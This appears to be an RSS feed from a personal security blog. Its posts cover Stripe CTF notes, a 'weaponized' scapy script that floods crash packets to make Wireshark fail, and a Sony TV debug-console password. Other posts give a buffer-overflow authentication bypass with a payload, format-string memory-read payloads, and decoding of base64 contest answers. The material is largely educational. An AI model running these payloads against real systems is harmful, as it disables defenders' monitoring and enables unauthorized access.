<?xml version="1.0" encoding="utf-8" ?>

<rss version="2.0" 
   xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
   xmlns:admin="http://webns.net/mvcb/"
   xmlns:dc="http://purl.org/dc/elements/1.1/"
   xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
   xmlns:wfw="http://wellformedweb.org/CommentAPI/"
   xmlns:content="http://purl.org/rss/1.0/modules/content/"
   >
<channel>
    
    <title>0xDEADBEEF</title>
    <link>http://0xdeadbeef.us/</link>
    <description>One Step Closer to Ring 0</description>
    <dc:language>en</dc:language>
    <generator>Serendipity 1.6.2 - http://www.s9y.org/</generator>
    <pubDate>Fri, 31 Aug 2012 14:13:18 GMT</pubDate>

    <image>
        <url>http://0xdeadbeef.us/templates/default/img/s9y_banner_small.png</url>
        <title>RSS: 0xDEADBEEF - One Step Closer to Ring 0</title>
        <link>http://0xdeadbeef.us/</link>
        <width>100</width>
        <height>21</height>
    </image>

<item>
    <title>Stripe CTF Solutions </title>
    <link>http://0xdeadbeef.us/archive/Stripe-CTF-Solutions</link>
            <category>CTF</category>
    
    <comments>http://0xdeadbeef.us/archive/Stripe-CTF-Solutions#comments</comments>
    <wfw:comment>http://0xdeadbeef.us/wfwcomment.php?cid=12</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://0xdeadbeef.us/rss.php?version=2.0&amp;type=comments&amp;cid=12</wfw:commentRss>
    

    <author>nospam@example.com (morgothan)</author>
    <content:encoded>
    &lt;p&gt;This is just a quick overview of my solutions to the Stripe-CTF levels. &amp;#160; I will not go over what each level was, just what the vulnerability is, an explanation of my solution, my solution, and any custom code generated for it. For additional details on the levels you can search the web, or go to the stipe-ctf.com page.&lt;br /&gt;Additionally if there are any questions on my methods please post a comment and Ill try and explain better.&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;Read more Bellow&lt;/p&gt; &lt;br /&gt;&lt;a href=&quot;http://0xdeadbeef.us/archive/Stripe-CTF-Solutions#extended&quot;&gt;Continue reading &quot;Stripe CTF Solutions &quot;&lt;/a&gt;
    </content:encoded>

    <pubDate>Mon, 27 Aug 2012 17:03:39 +0000</pubDate>
    <guid isPermaLink="false">http://0xdeadbeef.us/archive/12</guid>
    
</item>
<item>
    <title>Stripe CTF</title>
    <link>http://0xdeadbeef.us/archive/Stripe-CTF</link>
            <category>CTF</category>
    
    <comments>http://0xdeadbeef.us/archive/Stripe-CTF#comments</comments>
    <wfw:comment>http://0xdeadbeef.us/wfwcomment.php?cid=11</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://0xdeadbeef.us/rss.php?version=2.0&amp;type=comments&amp;cid=11</wfw:commentRss>
    

    <author>nospam@example.com (morgothan)</author>
    <content:encoded>
    &lt;p&gt;So last night I finished the &lt;a href=&quot;https://stripe-ctf.com&quot; target=&quot;_blank&quot; title=&quot;Stripe CTF&quot;&gt;Stripe CT&lt;/a&gt;. Level&#039;s 6, 7, and 8 were a bear.&amp;#160; Once the CTF is done on Wednesday I plan on doing a quick write up of my different solutions to the levels.&amp;#160; I will be curious to see how my methods differ from others.&amp;#160; I know my level 8 solution was not the most efficient, and required a lot more manual interaction than necessary.&amp;#160;&amp;#160; Either way I will happily take the T-Shirt, and wear it proudly at the next security conference I go to. &lt;/p&gt; &lt;br /&gt;
&lt;p&gt;If you are interested you can see my times &lt;a href=&quot;https://stripe-ctf.com/progress/morgothan&quot; target=&quot;_blank&quot; title=&quot;Stripe CTF progress&quot;&gt;here&lt;/a&gt;.&amp;#160; The long time for level 8 is a little disingenuous. I took Friday night and all of Saturday off from the CTF, as I had my &lt;a href=&quot;http://www.giac.org/certification/exploit-researcher-advanced-penetration-tester-gxpn&quot; target=&quot;_blank&quot; title=&quot;GXPN&quot;&gt;GXPN &lt;/a&gt;exam Saturday afternoon (&lt;a href=&quot;http://www.giac.org/certified-professional/nathaniel-hirsch/131286&quot; target=&quot;_blank&quot; title=&quot;My Cert (oh my now you know my real name...)&quot;&gt;I passed&lt;/a&gt;), and prior family plans on Saturday night.&lt;br /&gt;&lt;/p&gt; 
    </content:encoded>

    <pubDate>Mon, 27 Aug 2012 16:38:04 +0000</pubDate>
    <guid isPermaLink="false">http://0xdeadbeef.us/archive/11</guid>
    
</item>
<item>
    <title>Wireshark exploit from Defcon 20 CTF</title>
    <link>http://0xdeadbeef.us/archive/Wireshark-exploit-from-Defcon-20-CTF</link>
            <category>Code</category>
            <category>Pentest</category>
    
    <comments>http://0xdeadbeef.us/archive/Wireshark-exploit-from-Defcon-20-CTF#comments</comments>
    <wfw:comment>http://0xdeadbeef.us/wfwcomment.php?cid=10</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://0xdeadbeef.us/rss.php?version=2.0&amp;type=comments&amp;cid=10</wfw:commentRss>
    

    <author>nospam@example.com (morgothan)</author>
    <content:encoded>
    &lt;p&gt;First let me start by saying I did not find this, nor did I do any of the heavy lifting in making this. All of that was the guys at &lt;a href=&quot;http://isisblogs.poly.edu/2012/08/03/tracing-bugs-in-wireshark/&quot; target=&quot;_blank&quot; title=&quot;Tracing Bugs in Wireshark&quot;&gt;NYU Poly ISIS Lab.&lt;/a&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;That being I always get a little excited I get whenever a new wireshark exploit comes out.&amp;#160; Sometimes when I am conducting an internal pentest I get a network admin with the mentality of a Stasi.&amp;#160; They sit there with wireshark running monitoring my port looking for any hint of malicious traffic. As soon as they see something the flag us as &amp;quot;caught&amp;quot; and put a stop to the pentest.&amp;#160; So having a collection of wireshark exploits is helpful in stopping the network admins and allowing me to continue my work unimpeded.&amp;#160; As such I &amp;quot;weaponized&amp;quot; the code the NYU Poly ISIS lab blog post to make my life easier.&lt;br /&gt;The only real changes are making the packet get sent every second, I hard coded in the IPv6 link-local all nodes multicast group at FF02::1, and I took out the writing of the pcap file.&amp;#160; It should also be noted that if for some reason you need to run this over IPv4 you can change &amp;quot;packet=IPv6(&amp;quot; to &amp;quot;packet=IP(&amp;quot; and change the dst=&quot;FF02::1&quot; to your local broadcast and it will still work.&amp;#160; Although, as long as your machine can write an IPv6 packet and the wireshark machine can read it, it doesn&#039;t matter if they are running IPv6 on the network.&lt;/p&gt; &lt;br /&gt;
&lt;p&gt; &lt;br /&gt;
&lt;textarea name=&quot;code&quot; class=&quot;python&quot;&gt; 
#!/usr/bin/python
#divide by zero in dcp-etsi.c wireshark dissector
from scapy.all import *
from sys import *
crashdata=&#039;504623c4000000008854aa3d5a474547&#039;.decode(&#039;hex&#039;)
packet=IPv6(dst=&quot;FF02::1&quot;)/UDP(dport=55935,sport=42404)/crashdata
send(packet,inter=1,loop=1) 
&lt;/textarea&gt; &lt;br /&gt;
&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;If you know the admins IPv6 Address you can change the FF02::1 address to it so you are only targeting him&lt;br /&gt;Other wise just leave it as is and it will get sent to everyone local who is talking IPv6.&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;Either way just run it and wireshark should crash leaving you free to finish your pentest.&lt;/p&gt; 
    </content:encoded>

    <pubDate>Wed, 08 Aug 2012 15:15:02 +0000</pubDate>
    <guid isPermaLink="false">http://0xdeadbeef.us/archive/10</guid>
    
</item>
<item>
    <title>Interesting find on my Sony TV</title>
    <link>http://0xdeadbeef.us/archive/Interesting-find-on-my-Sony-TV</link>
    
    <comments>http://0xdeadbeef.us/archive/Interesting-find-on-my-Sony-TV#comments</comments>
    <wfw:comment>http://0xdeadbeef.us/wfwcomment.php?cid=8</wfw:comment>

    <slash:comments>10</slash:comments>
    <wfw:commentRss>http://0xdeadbeef.us/rss.php?version=2.0&amp;type=comments&amp;cid=8</wfw:commentRss>
    

    <author>nospam@example.com (morgothan)</author>
    <content:encoded>
    &lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; The password for the service is: &lt;span class=&quot;gI&quot;&gt;&lt;span class=&quot;go&quot;&gt;gemstar&lt;br /&gt;You can find out lots more info from &lt;a href=&quot;http://hackaday.com/2012/06/20/getting-root-on-a-sony-tv/&quot; target=&quot;_blank&quot;&gt;http://hackaday.com/2012/06/20/getting-root-on-a-sony-tv/&lt;br /&gt;&lt;/a&gt;There is also &lt;a href=&quot;https://github.com/CFSworks/nimue&quot; title=&quot;nimue&quot;&gt;nimue&lt;/a&gt; on github. Which is the exploit that is linked to from the hack-a-day article.&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;&lt;br /&gt;
&lt;br /&gt;
So I own a Sony Bravia KDL-46W5100. I was bored this weekend and decided to to take a look at its network foot print.&amp;#160; I did a bit of googling and came up kind of blank.&amp;#160; Doing a quick port scan I found that port 9784, and 12345 are open.&amp;#160; 9784 is tcpwrapped and disconnects me as soon as I connect. I suspect that if I set my machine to a particular IP I would be able to connect to it there in some fashion.&amp;#160; However, port 12345 is far more interesting.&amp;#160; Nmap reported it back as echo, which struck me as a little odd.&amp;#160; Sure enough though when I connect to it, I am not greeted with a banner and anything I type gets echoed back to me.&amp;#160; However after the echo I am greeted with the following prompt.&lt;br /&gt;6d.22:34:26:PASSWORD]&lt;br /&gt;&lt;br /&gt;For example;&lt;br /&gt;$ nc &amp;lt;TV.IP&amp;gt; 12345&lt;br /&gt;asdf&lt;br /&gt;asdf&lt;br /&gt;6d.23:13:21:PASSWORD]&lt;br /&gt;&lt;br /&gt;Anything I type gets echoed back, and I again get the same prompt.&amp;#160; However if I enter in a single \ I get the following.&lt;br /&gt;6d.23:13:21:PASSWORD] \&amp;#160; &amp;#160;&lt;br /&gt;\&lt;br /&gt;flushrstinfo - flush system reset information&lt;br /&gt;debug - show subcommands&lt;br /&gt;zmodemmode - Change File Mode of zmodem&lt;br /&gt;rz - Rx file from ZModem&lt;br /&gt;sz - Tx file through ZModem&lt;br /&gt;cd - Go to directory&lt;br /&gt;ls - List file&lt;br /&gt;rm - Remove file&lt;br /&gt;cp - Copy file or directory&lt;br /&gt;pwd - current directory&lt;br /&gt;diag - dump the diagnostics information&lt;br /&gt;reset - perform a reset&lt;br /&gt;commitdata - commit data&lt;br /&gt;demo - Load demo data&lt;br /&gt;settime - Force time &lt;br /&gt;idd - Internet data delivery&lt;br /&gt;download on current channel&lt;br /&gt;dl - scheduled download info&lt;br /&gt;dretest - data reception engine tests&lt;br /&gt;searchNext - host search next channel&lt;br /&gt;happ - Host App APIs&lt;br /&gt;htime - Host Date/Time APIs&lt;br /&gt;hsetup - Host Setup APIs&lt;br /&gt;hui - Host UI APIs&lt;br /&gt;hchlist - Host Channel List APIs&lt;br /&gt;run - execute commands from script file&lt;br /&gt;sleep - delay for specified seconds&lt;br /&gt;fsopen - Open file&lt;br /&gt;fsread - Read file&lt;br /&gt;fswrite - Write file&lt;br /&gt;fsclose - Close file&lt;br /&gt;fdp - file content dump&lt;br /&gt;prog - get listing&lt;br /&gt;nprog - get next show&lt;br /&gt;cat - get all category codes&lt;br /&gt;catprog - search program by cat code&lt;br /&gt;actprog - search program by actor ID&lt;br /&gt;seriesprog - search program by series ID&lt;br /&gt;schev - schedule event&lt;br /&gt;job - job related function&lt;br /&gt;device - device related function&lt;br /&gt;loadimg - load image&lt;br /&gt;gc - Garbage Collection Testing&lt;br /&gt;channel - Channel tuning and editing&lt;br /&gt;commit - Commit data to the DB&lt;br /&gt;qatest - QA test specific command&lt;br /&gt;clearresetinfo - Clear Reset Info command&lt;br /&gt;cleareventlog - Clear Event Log command&lt;br /&gt;configtimeout - Configure the Console Timeout&lt;br /&gt;csstatus - set the Click Stream Enable/Disable status&lt;br /&gt;cspack - pack/unpack the Click Stream File&lt;br /&gt;cps - cps related functions&lt;br /&gt;dbtest - for DB test&lt;br /&gt;memtool - memory measurement tools&lt;br /&gt;zip - zip/unzip a file&lt;br /&gt;ad - begin/end house keeping mode&lt;br /&gt;dbdebug - Turn on/off DB debuging messages&lt;br /&gt;mins2time - Convert integer minutes to human-readable date/time&lt;br /&gt;secs2time - Convert integer seconds to human-readable date/time&lt;br /&gt;grfxlog - Turn on/off graphics logging&lt;br /&gt;6d.22:54:30:PASSWORD] &lt;br /&gt;&lt;br /&gt;Which to me looks like a help menu. I can not execute any of the listed commands as if I type them I only get the command echoed back at me, and that stupid password prompt.&amp;#160;&amp;#160; All googling attempt to figure out the password have failed. &amp;#160;&lt;br /&gt;Other things of note.&lt;br /&gt;I can enter in as many \ in a row as I want, and I get the same display, however if I end the \&#039;s with two non \ characters I get that echoed back to me.&lt;br /&gt;if I press and send an esc I can reset everything back to its start.&amp;#160; Meaning no password display prompt. &amp;#160;&lt;br /&gt;&lt;br /&gt;I will work on this some more when I get the time. I think I found my new project.&lt;br /&gt;
&lt;/p&gt; 
    </content:encoded>

    <pubDate>Sun, 09 Jan 2011 22:36:54 +0000</pubDate>
    <guid isPermaLink="false">http://0xdeadbeef.us/archive/8</guid>
    
</item>
<item>
    <title>Fun with overflows</title>
    <link>http://0xdeadbeef.us/archive/Fun-with-overflows</link>
    
    <comments>http://0xdeadbeef.us/archive/Fun-with-overflows#comments</comments>
    <wfw:comment>http://0xdeadbeef.us/wfwcomment.php?cid=7</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://0xdeadbeef.us/rss.php?version=2.0&amp;type=comments&amp;cid=7</wfw:commentRss>
    

    <author>nospam@example.com (morgothan)</author>
    <content:encoded>
    &lt;p&gt;So there is a lot of talk about ASLR and DEP, and other protection mechanisms in place to prevent the full exploitation of an application.&amp;#160; But sometimes you dont need to execute arbitrary instructions on the system, only change the flow of code execution.&amp;#160; Consider the following program;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt; &lt;br /&gt;
&lt;textarea class=&quot;cpp&quot; name=&quot;code&quot;&gt;#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;string.h&amp;gt;

int check(char *pass)
{
	size_t len=strlen(pass);
	unsigned total = 0;
	size_t i;
	if (len &amp;lt; 10)
		return 0;

	for (i=0;i&amp;lt;len;i++){
		if((pass[i] &amp;lt; &#039;0&#039; )||(pass[i] &amp;gt;&#039;z&#039;))
			return 0;

		total +=pass[i];
	}
	if (total %853 == 69)
		return 1;
	else
		return 0;
}
int validate(){
	char pass[24];
	fscanf(stdin, &amp;quot;%s&amp;quot;, pass);

	if(check(pass))
		return 1;
	else
		return 0;
}
int good(){
	printf (&amp;quot;Congratulations You Got It!\n&amp;quot;);
	exit(0);
}
int bad(){
	printf (&amp;quot;Sorry You Did Not Get It :-(\n&amp;quot;);
	exit(1);
}
int main(int argc, char *argv[])
{
	if(validate())
		good();
	else
		bad();
	return 0;
}&lt;/textarea&gt; &lt;br /&gt;
&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;Without figuring out what the correct password is we can get this application to execute the code in the good function.&amp;#160; Observe;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt; [ring0@&amp;lt;System Name&amp;gt; ~/badc]$ gdb -q pass2&lt;br /&gt;Reading symbols from /home/ring0/badc/pass2...done.&lt;br /&gt;(gdb) disassemble main&lt;br /&gt;Dump of assembler code for function main:&lt;br /&gt;&amp;#160;&amp;#160; 0x080485c1 &amp;lt;+0&amp;gt;:&amp;#160;&amp;#160;&amp;#160; lea&amp;#160;&amp;#160;&amp;#160; 0x4(%esp),%ecx&lt;br /&gt;&amp;#160;&amp;#160; 0x080485c5 &amp;lt;+4&amp;gt;:&amp;#160;&amp;#160;&amp;#160; and&amp;#160;&amp;#160;&amp;#160; $0xfffffff0,%esp&lt;br /&gt;&amp;#160;&amp;#160; 0x080485c8 &amp;lt;+7&amp;gt;:&amp;#160;&amp;#160;&amp;#160; pushl&amp;#160; -0x4(%ecx)&lt;br /&gt;&amp;#160;&amp;#160; 0x080485cb &amp;lt;+10&amp;gt;:&amp;#160;&amp;#160;&amp;#160; push&amp;#160;&amp;#160; %ebp&lt;br /&gt;&amp;#160;&amp;#160; 0x080485cc &amp;lt;+11&amp;gt;:&amp;#160;&amp;#160;&amp;#160; mov&amp;#160;&amp;#160;&amp;#160; %esp,%ebp&lt;br /&gt;&amp;#160;&amp;#160; 0x080485ce &amp;lt;+13&amp;gt;:&amp;#160;&amp;#160;&amp;#160; push&amp;#160;&amp;#160; %ecx&lt;br /&gt;&amp;#160;&amp;#160; 0x080485cf &amp;lt;+14&amp;gt;:&amp;#160;&amp;#160;&amp;#160; sub&amp;#160;&amp;#160;&amp;#160; $0x4,%esp&lt;br /&gt;&amp;#160;&amp;#160; 0x080485d2 &amp;lt;+17&amp;gt;:&amp;#160;&amp;#160;&amp;#160; call&amp;#160;&amp;#160; 0x804853e &amp;lt;validate&amp;gt;&lt;br /&gt;&amp;#160;&amp;#160; 0x080485d7 &amp;lt;+22&amp;gt;:&amp;#160;&amp;#160;&amp;#160; test&amp;#160;&amp;#160; %eax,%eax&lt;br /&gt;&amp;#160;&amp;#160; 0x080485d9 &amp;lt;+24&amp;gt;:&amp;#160;&amp;#160;&amp;#160; je&amp;#160;&amp;#160;&amp;#160;&amp;#160; 0x80485e2 &amp;lt;main+33&amp;gt;&lt;br /&gt; &lt;span style=&quot;color: #ff0000;&quot;&gt;0x080485db &amp;lt;+26&amp;gt;:&amp;#160;&amp;#160;&amp;#160; call&amp;#160;&amp;#160; 0x8048585 &amp;lt;good&amp;gt;&lt;/span&gt;&lt;br /&gt;&amp;#160;&amp;#160; 0x080485e0 &amp;lt;+31&amp;gt;:&amp;#160;&amp;#160;&amp;#160; jmp&amp;#160;&amp;#160;&amp;#160; 0x80485e7 &amp;lt;main+38&amp;gt;&lt;br /&gt;&amp;#160;&amp;#160; 0x080485e2 &amp;lt;+33&amp;gt;:&amp;#160;&amp;#160;&amp;#160; call&amp;#160;&amp;#160; 0x80485a3 &amp;lt;bad&amp;gt;&lt;br /&gt;&amp;#160;&amp;#160; 0x080485e7 &amp;lt;+38&amp;gt;:&amp;#160;&amp;#160;&amp;#160; mov&amp;#160;&amp;#160;&amp;#160; $0x0,%eax&lt;br /&gt;&amp;#160;&amp;#160; 0x080485ec &amp;lt;+43&amp;gt;:&amp;#160;&amp;#160;&amp;#160; add&amp;#160;&amp;#160;&amp;#160; $0x4,%esp&lt;br /&gt;&amp;#160;&amp;#160; 0x080485ef &amp;lt;+46&amp;gt;:&amp;#160;&amp;#160;&amp;#160; pop&amp;#160;&amp;#160;&amp;#160; %ecx&lt;br /&gt;&amp;#160;&amp;#160; 0x080485f0 &amp;lt;+47&amp;gt;:&amp;#160;&amp;#160;&amp;#160; pop&amp;#160;&amp;#160;&amp;#160; %ebp&lt;br /&gt;&amp;#160;&amp;#160; 0x080485f1 &amp;lt;+48&amp;gt;:&amp;#160;&amp;#160;&amp;#160; lea&amp;#160;&amp;#160;&amp;#160; -0x4(%ecx),%esp&lt;br /&gt;&amp;#160;&amp;#160; 0x080485f4 &amp;lt;+51&amp;gt;:&amp;#160;&amp;#160;&amp;#160; ret&amp;#160;&amp;#160;&amp;#160; &lt;br /&gt;End of assembler dump.&lt;br /&gt;(gdb) run&lt;br /&gt;Starting program: /home/ring0/badc/pass2 &lt;br /&gt;AAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH&lt;br /&gt;&lt;br /&gt;Program received signal SIGSEGV, Segmentation fault.&lt;br /&gt;0x&lt;span style=&quot;color: #ff0000;&quot;&gt;43434343 &lt;/span&gt;in ?? ()&lt;br /&gt;(gdb) quit&lt;br /&gt;A debugging session is active.&lt;br /&gt;&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; Inferior 1 [process 5706] will be killed.&lt;br /&gt;&lt;br /&gt;Quit anyway? (y or n) y&lt;br /&gt;[ring0@&amp;lt;System Name&amp;gt; ~/badc]$ printf &amp;quot;AAAAAAAAAAAAAAAAAAAAAAAABBBB\xdb\x85\x04\x08&amp;quot;|./pass2&lt;br /&gt;Congratulations You Got It!&lt;br /&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;&amp;#160;So what did we get. We managed to bypass the authentication function of the application. And since we are jumping back into our own application we do not have to deal with randomization, or finding a place for our shellcode, or anything like that.&amp;#160; Now obviously this limits us to doing only things the application plans on doing, but we can alter the logic of the application now.&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; 
    </content:encoded>

    <pubDate>Fri, 09 Apr 2010 13:58:07 +0000</pubDate>
    <guid isPermaLink="false">http://0xdeadbeef.us/archive/7</guid>
    
</item>
<item>
    <title>Format String</title>
    <link>http://0xdeadbeef.us/archive/Format-String</link>
            <category>Code</category>
    
    <comments>http://0xdeadbeef.us/archive/Format-String#comments</comments>
    <wfw:comment>http://0xdeadbeef.us/wfwcomment.php?cid=6</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://0xdeadbeef.us/rss.php?version=2.0&amp;type=comments&amp;cid=6</wfw:commentRss>
    

    <author>nospam@example.com (morgothan)</author>
    <content:encoded>
    &lt;p&gt;So the answer to Monday&#039;s problem was &amp;quot;syslog(LOG_INFO, argv[1]);&amp;quot; Is a format string vulnerability.&amp;#160; To solve the problem the line should be written as such&lt;br /&gt;&lt;br /&gt;syslog(LOG_INFO, &amp;quot;%s&amp;quot;, argv[1]);&lt;br /&gt;&lt;br /&gt;Now what can be done with this is quite a lot.&amp;#160; Enter in the following ./logit `perl -e &#039;print &amp;quot;%08X:&amp;quot;x100&#039;` and then look at you system logs.&amp;#160; What you are looking at is a dump of the programs stack.&amp;#160; But you can get access to read any area in memory you have access to read. So on my system which is an AMD64 System if I run the following;&lt;br /&gt;&lt;br /&gt;./a.out $(perl -e &#039;print &amp;quot;%08x:&amp;quot; x 50 . &amp;quot;%s&amp;quot;&#039;)&lt;br /&gt;&lt;br /&gt;And view syslog, I see;&lt;br /&gt;&lt;br /&gt;Apr&amp;#160; 2 11:37:52 &amp;lt;System Name&amp;gt; logfile[23995]: 00000008:00000000:004006bc:00000003:ffffe798:00000000:00000000:f7aa7b6d:00000000:ffffe798:00000000:00400564:&lt;br /&gt;00000000:af958099:00400480:ffffe790:00000000:00000000:62158099:59c58099:00000000:00000000:00000000:004005e0:&lt;br /&gt;ffffe798:00000002:00000000:00000000:00400480:ffffe790:00000000:004004a9:ffffe788:0000001c:00000002:ffffea5c:ffffea64:&lt;br /&gt;00000000:ffffeb61:ffffeb86:ffffebc2:ffffebd2:ffffebe5:ffffebf3:ffffebff:ffffec17:ffffec29:ffffec37:ffffec40:ffffec69:&lt;span style=&quot;color: #ff0000;&quot;&gt;PATH=/opt/wine/bin:/bin:/usr/bin:/sbin:/usr/sbin:/opt/java/bin:/opt/java/jre/bin:/usr/bin/perlbin/site:/usr/bin/perlbin/vendor:/usr/bin/perlbin/core:/opt/qt/bin&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Or more directly without using perl.&lt;br /&gt;&lt;br /&gt;./a.out %51\$s&lt;br /&gt;&lt;br /&gt; and see&lt;br /&gt;Apr&amp;#160; 2 12:09:57 &amp;lt;System Name&amp;gt; logfile[24110]: &lt;span style=&quot;color: #ff0000;&quot;&gt;PATH=/opt/wine/bin:/bin:/usr/bin:/sbin:/usr/sbin:/opt/java/bin:/opt/java/jre/bin:/usr/bin/perlbin/site:/usr/bin/perlbin/vendor:/usr/bin/perlbin/core:/opt/qt/bin&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Which has my PATH variable in it.&amp;#160; So I am able to read to anyplace I want in memory, but what about write.&amp;#160; Well it turns out I can do that as well. Using a %n we can write the amount of data written to an associated memory address.&amp;#160; Ill leave that as an exercise for the reader though.&amp;#160; Or maybe if I can&#039;t think of anything else to post Ill do a write up on that as well.&lt;br /&gt;&lt;/p&gt; 
    </content:encoded>

    <pubDate>Fri, 02 Apr 2010 14:53:15 +0000</pubDate>
    <guid isPermaLink="false">http://0xdeadbeef.us/archive/6</guid>
    
</item>
<item>
    <title>Another fun challenge</title>
    <link>http://0xdeadbeef.us/archive/Another-fun-challenge</link>
            <category>Code</category>
    
    <comments>http://0xdeadbeef.us/archive/Another-fun-challenge#comments</comments>
    <wfw:comment>http://0xdeadbeef.us/wfwcomment.php?cid=5</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://0xdeadbeef.us/rss.php?version=2.0&amp;type=comments&amp;cid=5</wfw:commentRss>
    

    <author>nospam@example.com (morgothan)</author>
    <content:encoded>
    &lt;p&gt;I had a friend ask me over the weekend to show him how a particular vulnerability works.&amp;#160; So I wrote up a little example program and figured I would put it up here as a reference. Its nothing too complex, but some people may not have scene it before as its a rather old class of exploit, and is not a simple buffer overflow. All the program does is record the first argument passed to syslog.&amp;#160; So an example usage is ./logit &amp;quot;This will be logged&amp;quot;,&amp;#160; then cat /var/log/syslog and you should see something to the extent of Mar 29 14:46:47 &amp;lt;SYSTEMNAME&amp;gt; logfile[8956]: This will be logged, and if you run it with out any arguments it write nothing to log to syslog.&amp;#160; A basic example of a programs logging functions.&lt;br /&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt; &lt;br /&gt;
&lt;textarea name=&quot;code&quot; class=&quot;cpp&quot;&gt;#include &amp;lt;syslog.h&amp;gt;

int main(int argc, char *argv[])
{
	openlog(&amp;quot;logfile&amp;quot;, LOG_PID|LOG_CONS, LOG_USER); 
	if(argc &amp;lt; 2)
	{
		syslog(LOG_INFO, &amp;quot;Nothing to Log&amp;quot;);
	} 
	else
	{
		syslog(LOG_INFO, argv[1]);
	}
	closelog();
	return 0;
}&lt;/textarea&gt; &lt;br /&gt;
&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;On friday I will do a quick write up of what the vulnerability is, how to exploit it, and how to fix it.&lt;/p&gt; 
    </content:encoded>

    <pubDate>Mon, 29 Mar 2010 18:38:41 +0000</pubDate>
    <guid isPermaLink="false">http://0xdeadbeef.us/archive/5</guid>
    
</item>
<item>
    <title>base64 is not encyption!</title>
    <link>http://0xdeadbeef.us/archive/base64-is-not-encyption!</link>
    
    <comments>http://0xdeadbeef.us/archive/base64-is-not-encyption!#comments</comments>
    <wfw:comment>http://0xdeadbeef.us/wfwcomment.php?cid=4</wfw:comment>

    <slash:comments>1</slash:comments>
    <wfw:commentRss>http://0xdeadbeef.us/rss.php?version=2.0&amp;type=comments&amp;cid=4</wfw:commentRss>
    

    <author>nospam@example.com (morgothan)</author>
    <content:encoded>
    &lt;p&gt;So there exists a chess web site, that runs a monthly contest.&amp;#160; Everyday they post a new chess problem and you have to solve for mate.&amp;#160; If you correctly solve the problem you get an entry entered into their monthly contest.&amp;#160; If your entry gets picked you win the prize, an electronic chess set, a digital camera, an ipod, etc.&amp;#160; The problem with this site, which I have contacted about before, is that in the page source for the chess problem is the solution.&amp;#160; All one has to do is view page source, and there it is. Almost.&amp;#160; The following is an example from their site;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;&lt;br /&gt;
&lt;textarea rows=&quot;10&quot; cols=&quot;100&quot; wrap=&quot;hard&quot;&gt;load_solution( &#039;MCwxLC0xLDEsQmE0KyxkMWE0LC0sMXwxLDAsMCwyLEt4YTQsYjVhNCwtLDIsS2M0LGI1YzQsLSw2fDIsMSwxLDEsTmMzKyxlMmMzLC0sM3wzLDAsMiwxLEtiMyxhNGIzLC0sNHw0LDEsMywxLE5kMiUyMyxmMWQyLC0sNXw1LDAsNCwwfDYsMSwxLDEsYjMrLGIyYjMsLSw3fDcsMCw2LDEsS2QzLGM0ZDMsLSw4fDgsMSw3LDEsQmI1KyxhNGI1LC0sOXw5LDAsOCwxLEtlNCxkM2U0LC0sMTB8MTAsMSw5LDEsUmc0KyxnNmc0LC0sMTF8MTEsMCwxMCwyLEtmNSxlNGY1LC0sMTIsUmY0LGY2ZjQsLSwxNHwxMiwxLDExLDEsTmUzJTIzLGYxZTMsLSwxM3wxMywwLDEyLDB8MTQsMSwxMSwxLFJ4ZjQlMjMsZzRmNCwtLDE1fDE1LDAsMTQsMA==&#039;, 1 );&lt;/textarea&gt;&lt;br /&gt;
&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;&amp;#160;If you take the string in that function and decode it as base64 you get;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;&lt;br /&gt;
&lt;textarea rows=&quot;10&quot; cols=&quot;100&quot; wrap=&quot;hard&quot;&gt; 0,1,-1,1,Ba4+,d1a4,-,1|1,0,0,2,Kxa4,b5a4,-,2,Kc4,b5c4,-,6|2,1,1,1,Nc3+,e2c3,-,3|3,0,2,1,Kb3,a4b3,-,4|4,1,3,1,Nd2%23,f1d2,-,5|5,0,4,0|6,1,1,1,b3+,b2b3,-,7|7,0,6,1,Kd3,c4d3,-,8|8,1,7,1,Bb5+,a4b5,-,9|9,0,8,1,Ke4,d3e4,-,10|10,1,9,1,Rg4+,g6g4,-,11|11,0,10,2,Kf5,e4f5,-,12,Rf4,f6f4,-,14|12,1,11,1,Ne3%23,f1e3,-,13|13,0,12,0|14,1,11,1,Rxf4%23,g4f4,-,15|15,0,14,0&lt;/textarea&gt;&lt;br /&gt;
&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;Which is PGN for the solution.&amp;#160; So in this case we move our bishop to a4 and put him in check, he either moves to c4, or kills the bishop at a4, then we do the next step, so forth and so on.&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;&amp;#160;So knowing this I as an attacker can enter the puzzle everyday regardless of if I know the solution to the puzzle or not.&lt;/p&gt; &lt;br /&gt;
&lt;p&gt; &lt;/p&gt; &lt;br /&gt;
&lt;p&gt;When will people realize that base64 is not encryption, and should not be treated as such.&lt;br /&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt; &lt;/p&gt; &lt;br /&gt;
